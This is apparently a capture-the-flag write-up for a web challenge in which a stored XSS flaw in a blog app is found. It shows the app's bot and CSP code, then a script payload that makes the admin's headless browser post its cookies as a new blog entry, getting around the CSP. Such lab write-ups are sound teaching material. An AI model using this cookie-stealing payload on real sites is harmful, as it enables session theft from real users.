Skip to main content Link Search Menu Expand Document (external link)

Blogpost

Points: 725 [?]

Description

Jaga created an internal social media platform for the company. Can you leak anyone’s information?
File: web_blogpost.zip

Solution

Understanding the application’s features

Upon browsing to the URL, we see a navigation bar with the Blog and Login button. Clicking on either of them brings us to the login page at /login:

Since we do not have an account, we can go ahead and register a new account.

After logging in, we are brought to the blog page at /blog. From here, we can click on Create Post to create a new blog post on the blog.

After clicking on the Create button, we can now see our new post on the blog page at /blog.

One thing to observe was that posts from all users were being displayed together on the blog page, such as the first post created by the admin user. This meant that other users could view my own blog posts. Perhaps we could do something XSS-related?

Stored XSS Vulnerability

After creating a new post with a basic XSS payload as the content and browsing to the blog page, we see the payload triggering the alert box.

It seems that we found the stored XSS vulnerability in this application. To see how we can exploit this vulnerability to get the flag from the application, we will need to analyse the application’s source code and identity where the flag is being stored at.

Analysing the source code

$ tree web_blogpost                     
web_blogpost
├── config
│   └── supervisord.conf
├── Dockerfile
├── docker_run.sh
└── src
    └── app
        ├── bot.js
        ├── database.js
        ├── helpers
        │   └── JWTHelper.js
        ├── index.js
        ├── middleware
        │   └── AuthMiddleware.js
        ├── package.json
        ├── package-lock.json
        ├── routes
        │   └── index.js
        ├── static
        │   ├── forms.js
        │   ├── images
        │   │   ├── default.png
        │   │   └── jagasuper.png
        │   ├── main.css
        │   └── theme.js
        └── templates
            ├── blog.html
            ├── index.html
            ├── login.html
            ├── post.html
            ├── profile.html
            ├── register.html
            └── settings.html

9 directories, 23 files

Immediately we see a bot.js, which suggests that there might be an automated headless browser being used to visit the application.

src/app/bot.js:

import puppeteer from 'puppeteer';
import {sign, verify} from './helpers/JWTHelper.js';

const browser_options = {
	headless: true,
	args: [
		'--no-sandbox',
		'--disable-background-networking',
		'--disable-default-apps',
		'--disable-extensions',
		'--disable-gpu',
		'--disable-sync',
		'--disable-translate',
		'--hide-scrollbars',
		'--metrics-recording-only',
		'--mute-audio',
		'--no-first-run',
		'--safebrowsing-disable-auto-update',
		'--js-flags=--noexpose_wasm,--jitless'
	]
};

export const viewPosts = async () => {
    try {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();

		let token = await sign({ username: 'admin' });
		await page.setCookie({
			name: "session",
			'value': token,
			domain: "127.0.0.1",
		});
		await page.setCookie({
			name: "flag",
			'value': "STF{FAKE_FLAG}",
			domain: "127.0.0.1",
		});
		await page.goto('http://127.0.0.1:1337/blog', {
			waitUntil: 'networkidle2',
			timeout: 8000
		});
		await browser.close();
    } catch(e) {
        console.log(e);
    }
};

The viewPosts function seems to access the application at /blog as the admin user, while having a flag cookie being set to the flag. Using the stored XSS vulnerability found earlier, we can trick the headless browser into executing our specially crafted payload and send us their cookies.

A common trick to stealing cookies via XSS is to insert a new image HTML tag that will render an image from the attacker’s web server URL with the cookie appended to it. However, due to the Content Security Policy (CSP) of the application, we are not able to do so.

src/app/index.js:

...
app.use(function (req, res, next) {
	res.setHeader(
	  'Content-Security-Policy',
	  "default-src 'self'; script-src 'unsafe-inline' 'self' https://cdnjs.cloudflare.com; style-src-elem 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; connect-src 'self';"
	);
	next();
  });
...

Since this application allows users to create new posts, we could instead force the headless browser to create a new blog post containing their cookies. And since all blog posts are visible to all users, we will be able to view this new blog post!

Stealing the flag from the admin user

To know what parameters are needed to create a new blog post, we can take a look at the following:

src/app/routes/index.js:

...
    router.post('/post', auth, async (req, res)=>{
        const { title, content } = req.body;
        if (title && content) {
            db.addPost(title, req.user.username, content)
                .then(async () => {
                    if (req.user.username != 'admin') { 
                        await viewPosts();
                    }
                    res.status(200).send(response('Success'))})
                .catch(() => {console.log('oof');res.status(500).send(response('Error'))});
        }
    });
...

All we need is to send a request with the title and content parameters set. Therefore, we can create a new blog post with an arbitrary title and the contents set to the following:

<script>
fetch("/post", {
    method: "POST",
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        title: "get flag here",
        content: document.cookie
    })
})
</script>

After clicking on Create and browsing to the blog page, we see a new post by the admin user, with the flag printed nicely.

Flag

STF{FAKE_FLAG}